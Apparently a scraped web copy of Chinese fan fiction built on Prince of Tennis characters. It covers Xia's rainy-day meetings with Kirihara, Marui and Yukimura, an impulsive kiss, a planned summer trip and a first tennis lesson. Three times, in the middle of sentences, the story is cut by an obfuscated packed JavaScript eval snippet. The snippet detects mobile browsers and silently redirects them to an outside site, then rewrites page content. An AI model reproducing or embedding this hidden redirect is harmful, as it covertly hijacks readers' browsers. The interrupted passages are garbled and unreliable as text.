“不可能啦,丸井SAMA和切原SAMA怎么会这种时候书店......” 声音来自不远处的书架后。 夏抬起头,顺着两个女生讨论的对象方向望去,看见两个熟悉的身影。 ——切原赤也和丸井文太。 两人正凑在一起看着什么,在安静的书店里,越来越多的学生看过来,眼看就要引起骚动。 夏犹豫了一下,还是站起身走了过去。 “切原君,丸井君。”她轻声打招呼。 两人吓了一跳,切原手里的书差点掉地上。 “雪、雪野学姐!”他瞪大眼睛,“你怎么在这里?” “我来查资料。”夏看向他们手里的书,是本网球杂志,封面是幸村精市。 照片拍得很好,他正在挥拍,表情专注,鸢紫色的头发在阳光下闪着光。 “倒是你们俩,怎么会在这里?”夏问道。 “我们在找这期的特辑!”丸井露出标志性的笑容,“没想到会遇见雪野同学。一个人?” 他伸长脖子,往夏后方左看右看,却没有看到自家部长的影子。 “嗯。”夏点头,“你们今天没有训练吗?” 她听说网球部的练习挺严格的,一般周六周天也会有加训,早上幸村还说要和真田去俱乐部打球。 “今天是休息日,可以自由活动。”切原说。 三人聊了几句,夏才知道网球部每逢单周周天是不强制要求训练的。切原和丸井闲着没事,就准备去电玩城,路过书店看到网球杂志的特辑,于是便进来逛逛。 “雪野同学在看什么书?”丸井好奇地问。 “关于轻井泽的。”夏把书递给他看,“文学部这个月中旬有合宿。” “轻井泽啊,”丸井吹了个泡泡,“风景超美的!我去年和家人去过,那边的手工果酱很好吃。” “丸井学长就知道吃。”切原吐槽。 “那也比你只知道打游戏好。” 看着两人斗嘴,夏忍不住笑了。这种轻松的相处氛围让她感觉很舒服。 他们一起挑了会儿书,丸井买了两本杂志和一本甜点食谱,切原买了一本游戏攻略。 在书店又待了将近一个小时,三人才决定离开。 “学姐接下来要去哪儿?”走出书店时,切原问。 “回家吧。”夏看看天色,雨似乎比来的时候要下得大了。 “那一起走到车站?”丸井提议。 “好啊。” —— 丸井没有带伞,夏便将自己的大伞递给切原,让他和丸井共用一把,自己则打着切原那把小伞。 三人走在雨中。雨水敲打伞面,发出清脆的啪嗒声。 “对了学姐,”切原突然想起什么,“月底有球技大赛,你有想好要参加什么项目吗?” “球技大赛?” “立海大附中一年一度的校内活动啦!”丸井解释,“在期末考试后、暑假前,会举办班级间的排球、篮球等球类比赛,算是学期末的放松活动。” “球类比赛啊......”夏沉吟,“我没有很擅长的呢。” “那要不要试试网球?女生报名的人不多,学姐要是参加的话,获胜概率说不定挺大的。”切原提议。 “网球?”夏歪了歪头,“我还没打过呢。” “凡事都有第一次嘛,”切原立刻接话,语气热情。 “而且网球很简单的,把球打过网就行了,比英语数学什么的容易多了。”他越说越起劲,眼睛亮闪闪的,“学姐想学的话,我可以教你啊!保证让你两天内就出师。” “啊?这......会不会太耽误你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17082795|193954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时间?期末考不要紧吗?”夏想起切原的文化课成绩似乎不太理想,这个时期他大概正该埋头复习才对。 “没关系没关系!劳逸结合嘛。”切原摆摆手,随即转向身旁,“丸井前辈也可以一起教,对吧?” 突然被拉下水的丸井点了点头:“行啊,没问题。不过——” 他眨了眨眼,嘴角浮起一抹促狭的笑,“说不定雪野同学更想让幸村部长教呢?” 一听到幸村的名字,切原瞬间像被戳破的气球般蔫了下来。 “也、也是哦......部长确实更厉害,教得也更好......” 夏见状微微一怔。小孩子吗?怎么还认真地攀比起来了? 几乎是同时,她眼前下意识浮现幸村站在网球场边的模样:温和的目光,从容的姿态,仿佛一切尽在他的掌控之中。 她轻轻摇头,低声说:“还是不了......我不想让他看到我笨手笨脚的样子。” 说着,她抬起眼望向两人,语气认真里带点恳切:“可以拜托你们教我吗?” 切原一听学姐竟在幸村部长和自己之间选择了自己,眼睛霎时亮了,方才那点小小的失落瞬间被抛到九霄云外。 “当然可以!”他挺直背脊,带着被认可的雀跃,用力拍了拍胸口。 看到小皮球又精神起来,夏松了口气,唇角不自觉地扬起。 丸井将一切尽收眼底,噗嗤笑出声,伸手揉了一把切原的头发:“你这家伙倒是有点自知之明啊。” 他转向夏,语气轻快而可靠:“那就这么说定了。下周休息日怎么样?学校附近有家室内网球俱乐部,就算是下雨天也能练习。突击练习几天,应该能应付比赛。” “好,谢谢你们。” 三人顺势交换了Line。 夏的指尖在“新好友”的通知上轻点通过,切原的头像是只咧嘴笑的恐龙,丸井则是一张吹泡泡糖的侧脸照。 “那下周六早上九点,俱乐部见?”丸井确认道。 “周六上午可能不行,我有点事。”夏回答。 那天是妈妈回柏林的日子,她得去机场送别。 “行,那就改到下午两点吧。周日一整天你这边应该没安排吧?”丸井接着问。 “嗯,没有!”夏很快答道。 接着,她又想起什么,追问道:“需要我带什么东西吗?” “球拍俱乐部可以租,先试试手感。”丸井经验老道地安排着,“穿运动服和便于活动的鞋子就好。” 切原在一旁补充:“还有毛巾和水!运动饮料也不错,学姐喜欢葡萄味还是柠檬味?我给你带。” 他问得自然。夏被他的认真逗笑了:“谢啦,不过我会自己准备的。” 雨势渐收,车站浮现在眼前。 三人在车站前分开。切原和丸井要坐反方向的电车,夏则是收到妈妈发来的消息,拜托她去超市买点东西。 “学姐再见!”切原跳上电车台阶,转身用力挥手,“明天绝对让你学会发球!” “别给人家太大压力啊。”丸井笑着推他后背,自己也回头朝夏眨眨眼,“明天见。” “再见,路上小心。”夏站在站台棚下,目送电车驶远。 随后转身,撑着伞,走向附近的超市。 19.C1-19(小修) 大概是下雨的缘故,加上现在又是中午,超市里人并不多。 夏推着购物车,按照妈妈发来的购物单挑选要帮忙买的东西:牛奶、面包、鸡蛋,还有一些蔬菜。 将这些东西放进购物车后,她忽然想起这几天都是妈妈在做饭。要不今天让妈妈休息一下吧? 这个念头刚冒出来,夏就蹙眉,鼓了鼓腮帮子。 怎么办?有点孝心,但不多。 而且说实话,她今天真的不太想下厨。 干脆买现成的便当好了。 一箭双雕。 这么想着,她推着购物车转向熟食区,想看看有没有特价的便当。 然后,她看见了幸村。 他站在冷冻食品柜前,手里拿着两盒速食咖喱,正在比较什么。 深蓝色的连帽衫,牛仔裤,发梢随着他歪头思考的动作,微微晃动。 夏下意识松开了握住推车的手。 要不要打招呼?可他看起来好像在认真挑选着什么...... 她去贸然打扰会不会不太好? 而且,打招呼后要说些什么呢? 明明说自己要去书店,结果却跑来了超市,他会不会觉得自己在骗他? 各种思绪在脑中乱成一团毛线。就在她犹豫的几秒钟里,幸村忽然转过头。 四目相对。 “夏。”他走过来,微微一笑,“好巧。” “好巧......”夏轻声应着,指尖局促地攥紧了购物车把手,“你也来买东西?” “嗯,家里没人,出来买晚餐。”幸村看了看她的购物车,眼尾含笑道,“被雪野阿姨拜托出来跑腿了?” “嗯。”夏下意识应声,随后才微微一怔,抬起眼睫,“......你怎么知道?” 幸村的笑意深了些,目光温和地落在她脸上,忽然竖起一根手指抵在唇边,轻声说:“秘密~(>^ω^<> 尾音轻轻上扬,像羽毛扫过耳畔。 夏:“?” 幸村他......刚刚是不是用了一个有点可爱的语气词? “怎么了?”幸村问,表情瞬间切回惯常的温和自然。 “你、你刚刚是不是......”夏心直口快,说到一半卡住,总觉得直接说“卖萌”两个字好像不太妥当,“......用了不太一样的说话方式?” 幸村微微偏头,眼神疑惑:“有吗?” 夏看着他那双盛满无辜的紫色眼眸,一时间竟说不出话来。 啊啊啊ε=ε=ε=(#>д<> 这个人好狡猾,明明就是故意的。 —— 两人并肩推着车往前走。超市的广播里播放着轻柔的音乐,雨声被隔绝在玻璃窗外。 “书店查完资料了?”幸村问。 “查完了。还遇到了切原君和丸井君。” 幸村笑了:“那两个家伙,下雨天也闲不住。” 他们走到蔬果区,幸村拿起一盒草莓看了看:“这个季节的草莓还不错。” “嗯,很甜。”夏想起母亲以前常买草莓做甜点。 “要不就试看吧。”幸村把草莓放进自己的购物车,“可以做草莓蛋糕或者草莓大福。” “你会做甜点?” “会一点。”幸村说,“百合子教的。” 夏有些惊讶。 她想象不出幸村围着围裙做甜点的样子。但仔细想想,又觉得很合理。他总是能把任何事情都做得很优雅。 他们推着购物车继续往前走,偶尔交谈几句。 幸村挑东西很仔细,会看成分表和保质期。夏发现他买菜的经验很丰富,不像第一次独自购物的样子。 “经常自己做饭?”她问。 “父母经常出差,百合子又还小,所以学会了。”幸村平静地说,“一开始也失败过很多次,但现在没问题了。” 结账时,幸村很自然地帮夏把东西装袋。收银员是个中年阿姨,看看夏,又看看幸村,露出意味深长的笑容。 “年轻人真般配。”她小声说。 夏的脸一下子红了。幸村倒是很淡定:“谢谢。” 走出超市,雨已经小了,变成细细的雨丝。天空开始放晴,西边的云层裂开一道缝,透出金色的光。 “需要我送你吗?”幸村说。 “不用了,很近。” “雨还没停。”幸村抬头看看天,“而且,我想送你。” 夏一怔,没有再拒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17085578|193954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绝。 她其实,也想和他再多待一会。 他们走在雨后的街道上。地面湿漉漉的,倒映着天空和树影。空气里有青草和泥土的香味,清新又好闻。 “关于文学部在轻井泽的合宿,”幸村突然问,“你决定去了吗?” “......还没有。” “不想去?” “不是,”夏顿了顿,“其实,我没有和很多人一起过夜的经验。” 幸村理解地点点头,目光落在前方的水洼上:“如果你犹豫的点是这个,说明内心其实是想去的。” 他侧过脸看她,眼里的光很温和,“偶尔参与一次这样的集体活动,或许会有意外的收获。况且,雾岛同学也在,不必太担心。” “嗯。”夏轻轻应声,“我再想想。” —— 到公寓楼下时,雨已经完全停了。 太阳从云隙间漫出来,把湿漉漉的街道染成金色。 “这个,”幸村从纸袋里取出那盒草莓,递向她,“给你。” “诶?可是......” “就当是今天偶遇的礼物。”幸村微微笑着。 “你不是说要用来做甜点的吗?” “我买了两盒。” 夏望向他手中的袋子,果然还有一盒草莓静静躺在里面。 她接过草莓:“......谢谢。” “明天有安排吗?”他轻声问。 “明天......”夏刚启唇,却见幸村向前走近了半步。 傍晚的风穿过楼宇间的缝隙,轻轻掀起他额前的碎发。他眼眸温润,如雨后初晴的天空,笑容里漾着波光。 “要不要,和我约会?” 声音落下的瞬间,一抹阳光正好从他身后斜斜漫来,把他的影子拉得很长。 在暖金色的光芒里,他深蓝的发梢随风拂动,晕开一层朦胧的光泽。 颀长的身影笼罩下来时,夏的视野短暂地昏暗了一瞬。 视野里的一切都淡去了颜色与形状,只剩下眼前这个人,和他瞳眸那片能将人溺毙的温柔。 她握着那盒草莓的手指,下意识地收紧。 塑料盒发出窸窣声,像是心跳不小心漏出的余韵。 20.C1-20 后悔,现在就是铺天盖地的后悔。 早知道......早知道就不该先答应下周末和切原学网球了!现在反悔还来得及吗? 脑海里浮现出小学弟收到约定取消的消息时,那双骤然黯淡下去的狗狗眼,夏的良心刺痛了一下。 “那个,我......”她咽了咽口水,“我下周......已经有约了。因为是提前说好的,所以......” 声音磕磕绊绊地像卡壳的磁带,越说越小,最后直接消音了。 说完低下头,完全不敢看幸村此刻的表情。 空气安静了几秒。 然后,她听见一声带着气音的低笑。 “这样啊。”幸村的声音温和依旧,“既然夏已经有约了,那就没办法了呢。” 他的语气里没有半点不悦,反而带着体贴的理解。这让夏松了口气,但又生出更多歉意。 “抱歉......” “不用道歉。”幸村摇摇头,“约定好的事就该好好履行。不过——” 他稍稍拖长了尾音,向前又迈了一小步。 两人间的距离骤然拉近,呼吸可闻。 “既然我被迫延后了,”他轻声说,眼底漾开笑意,“可以要求一点补偿吗?” “补、补偿?” “嗯。”幸村眼睫微垂,目光若有似无地掠过她的唇,又缓缓抬起,“比如......” 他刻意停顿,留白像羽毛轻搔过心尖。夏的大脑CPU霎时开始运行处理:补偿、靠近、欲言又止的眼神......难道是...... 她忽然踮起脚尖,飞快地在他脸颊上亲了一下。 柔软的触感一掠而过。 幸村微微睁大眼睛,一时怔住了。 时间仿佛静止。 风停住,阳光凝固,连远处的蝉鸣都消失在空气里。 夏:“??” 不是这样吗? 她后知后觉地意识到,自己是不是误解了什么,血液“轰”地涌上脸颊。 “对、对不起......”她语无伦次地后退半步,“我、我以为......那个‘补偿’是......” 幸村眨了眨眼睛,很慢很慢地,他抬起手,指尖轻轻触上刚刚被她亲过的地方。 “......原来如此。”他低声道,声音里含着一丝微妙的笑意,“夏的‘补偿’,比我想象的还要......” 他故作停顿,没有说完,步子向前踏了一步。 夏后退拉开的距离,被他瞬间移除,他温热的呼吸拂过额发。 “不过,”幸村微微低下头,声音轻得像耳语,“我刚刚想说的补偿,其实是希望你下次能多陪我一会儿。” “但是——”他顿了顿,指尖轻轻碰了碰自己的脸颊,“这个版本的‘补偿’,我更喜欢。” 他眼底的笑意几乎漫出来,明亮又狡黠。像是偷腥成功的猫。 夏怔怔地望着那双含笑的眼,脸颊一下子烫得厉害。 身体里像是有一股电流窜过,从心口酥酥麻麻地蔓延至指尖,整个人轻飘飘的,喝醉了酒似得,浮在半空里。 这个人......果然是故意的吧? 但他又总是不动声色地照顾她的情绪,体谅她的步调,从不给她半分压力。 正因如此,夏才更想为他做点什么,想纵容他一点。 这些日子,夏一直在琢磨该怎么回应幸村的温柔体贴。直到昨晚临睡前,妈妈一语道破天机。 妈妈说,真正在意一个人,不是计较谁付出更多,而是愿意把自己珍贵的时间、心情,和未来的计划,都与他分享。 于是,想着这也许还能顺便弥补下周不能和他约会的遗憾,夏抬起头,手指攥了攥裙摆,小声地提议: “幸村……暑假,我们一起去旅行吧?” 说完,她有些紧张地望向他,睫毛颤了颤。 幸村眼底那一抹狡黠的笑意微微凝住。 ——天然克腹黑。 他今天算是切身体会到了。 “……旅行吗?”他轻声重复了一遍。 “嗯。”夏点点头,手指松开又捏紧,“就我们两个人……不一定要去很远的地方。当然,如果你想去很远的地方,也可以。” 她顿了顿,脸上早已红透,却还是认认真真把最后那句话说完: “我想和你一起,制造只属于我们的回忆。” 笨拙、直接,却又真挚得让人心头柔软。 幸村望着她红透的耳尖,以及那双认真期待的眼睛,眼里漾起温润的光。 “好啊。”他轻声回答,嘴角扬起清浅的笑。 “暑假,我们一起去。” 由于立海大网球部暑假期间仍需备战全国大赛,两人商量后,将旅行暂定为两天一夜。 —— 晚上,夏试着做草莓大福。 按照网上的食谱,她先煮红豆馅,然后准备糯米皮。 实操比视频教学的要难,糯米团总是粘手,包馅一不小心就破皮。失败了好几次后,她才终于做出几个像样的成品。 她把最好的两个摆盘,拍了照片。准备回头发给幸村,算是草莓的回礼。 拍完照片,她又觉得好笑。 给人家看草莓大福的照片,算什么回礼? 不过也没办法,天气这么热。就算明天带给幸村,说不定到中午也早就坏掉了。 最后,夏将草莓大福端给了正在电脑前加班的妈妈。 剩下的几个品相不太好,她决定自己尝。外皮软糯,红豆馅甜而不腻,草莓新鲜多汁。 虽然卖相不好,但味道还不错。 她坐在窗边,一边吃草莓大福一边看《轻井泽物语》。 书里写道: 【有些地方,你去或不去,它都在那里。但如果你去了,它就会成为你生命的一部分。】 夏盯着这段文字看了很久,然后抬起头,看向窗外。 雨后的神奈川,夜晚很安静,远处有零星的灯火,偶尔还有蝉鸣。 她拿起一旁的手机,打开通讯录,找到雾岛星罗的line。 迟疑片刻,夏发了一条消息: 「雾岛,轻井泽的合宿,我想参加。」 发送后,她放下手机,继续吃草莓大福。 不多时,手机震动。 打开一看,是幸村发来的消息: 「看起来很美呢。可惜不能尝尝看了o(╥﹏╥)o」 她回复: 「下次做给你吃。(づ ̄3 ̄)づ╭?~」 【幸村】:好啊,那我很期待。 有些地方,如果你去了,就会成为生命中的一部分。 就好比,她回到神奈川,遇到了幸村。 —— 周五深夜又下了一场雨,电闪雷鸣的。 雪野妈妈忧心忡忡地望着窗外,担心会不会影响第二天航班起飞。 好在到了周六清晨,天色放晴,阳光透过云层洒下来,是个澄澈的好天气。 上午,夏陪着妈妈去了机场。明明才六月,午前的日头已有些灼人,只在户外走动一会儿,就是满头大汗。 回到家后,她冲了个凉,吃过午饭稍作休息,才换上清爽的运动装出门。 约定的网球俱乐部离家不远。 抵达时,切原和丸井已经先到了,两人正在球场打练习赛。黄色的小球在墨绿色的场地上来回飞窜,发出清脆利落的击打声。 “学姐!”切原眼尖地看见她,立刻挥着球拍跑过来,额发被汗水浸得微湿,“我们来教你吧!” 丸井跟在后面,递给她一瓶水:“先适应一下场地。球拍租好了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17087530|193954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吗?” “嗯,在柜台租了这支。”夏举起手中略轻的入门拍。 “好!那我们先从最基础的开始!”切原干劲十足,拉着她走到空着的半场,“首先,握拍就像握手一样......” 教学开始后, 切原就像打了鸡血,教得格外认真,尽管表达有时跳跃,但示范动作毫无破绽,标准有力。 丸井则在一旁适时补充要点,用更易懂的方式解释发力技巧。 “手腕放松,用身体转身的力量......对,就是这样!” 夏试着挥拍。 起初有点控制不好力道,球不是落网就是飞偏,或者出界。但在几次尝试后,也渐渐悟出一点门道,能打出像样的回球。 “学姐很有天赋嘛!”切原眼睛发亮。 中场休息时,三人坐在场边长椅上喝水。丸井忽然想起什么,从包里掏出一个小盒子:“对了,我带了能量软糖,补充体力很管用。” 他刚打开盒子,切原就眼疾手快地抓走一大把塞进嘴里,两颊鼓得像仓鼠。 “喂!赤也!那是给大家分的!”丸井瞪他。 切原含糊不清地说:“我教得最辛苦嘛......需要补充能量!” 丸井看着自己瞬间空了一半的盒子,又看了看一旁因为认真练习而微微喘气的夏,忽然一本正经地转向她: “雪野同学,你现在理解了吗?” “诶?理解什么?” “就是那句话啊——”丸井指了指还在拼命嚼软糖的切原,表情沉痛,“‘如果你感到负重前行,一定有狗东西在享福’。” 夏愣了一秒,随即看着切原那副理直气壮享受“教学成果”的模样,忍不住“噗”地笑出声。 “丸井前辈!”切原抗议,“我这是在储存教学体力!” “是是是,你储存的体力大概够教到明年全国大赛了。”丸井把剩下的软糖递给夏,“来,赶紧吃,不然某只‘教学体力储存仓鼠’要过来了。” 夏笑着接过软糖。 果汁爆开,一瞬间直冲颅顶。是清凉的薄荷味。 休息快结束时,丸井拿出手机提议:“来拍张照纪念第一次上课吧?” “好啊好啊。”切原凑过来。 夏也没有意见。 丸井举起手机,三人的脑袋凑在一起看镜头:切原还在努力咽下最后的软糖,鼓着脸比V字;夏抱着球拍笑得眉眼弯弯;丸井则俏皮地眨着一只眼睛,另一只手悄悄在切原头顶比了个兔耳朵。 “我发到动态啦!”丸井说着,手指轻点。 “前辈,也传给我一份!”切原兴奋地凑过去,“我也要发时间轴!让真田副部长看看我的教学成果,说不定能免了我的英语补习。” 正在喝水的夏听到“副部长”还没太大反应,却紧接着听到切原的下一句:“幸村部长肯定也会点赞的!” 她一口气没顺过来,被水呛得连连咳嗽。 丸井和切原同时转头看向她。 “雪野同学,没事吧?” “学姐?” “那、那个动态......”夏缓过气,手指无意识地捏着水瓶,“真的要发吗?我是说......幸村君也会看到?”她的声音越说越小。 丸井文太看着夏僵硬的表情和泛红的耳尖,立刻反应过来——她来和他们打球的事,没有向男朋友报备。 丸井拍了拍夏的肩膀,语气轻松得安慰:“安啦,幸村部长很大方的。绝对不会因为你偷偷和我们学网球却没找他就生气的。” 切原在一旁用力点头,眼神真诚得发光:“没错!部长最讲道理了!他肯定能理解你先答应我们不好反悔,绝对不是故意瞒着他的!” 夏:“......” 她怎么觉得,这两个人每多说一句,自己后背就更凉一分呢?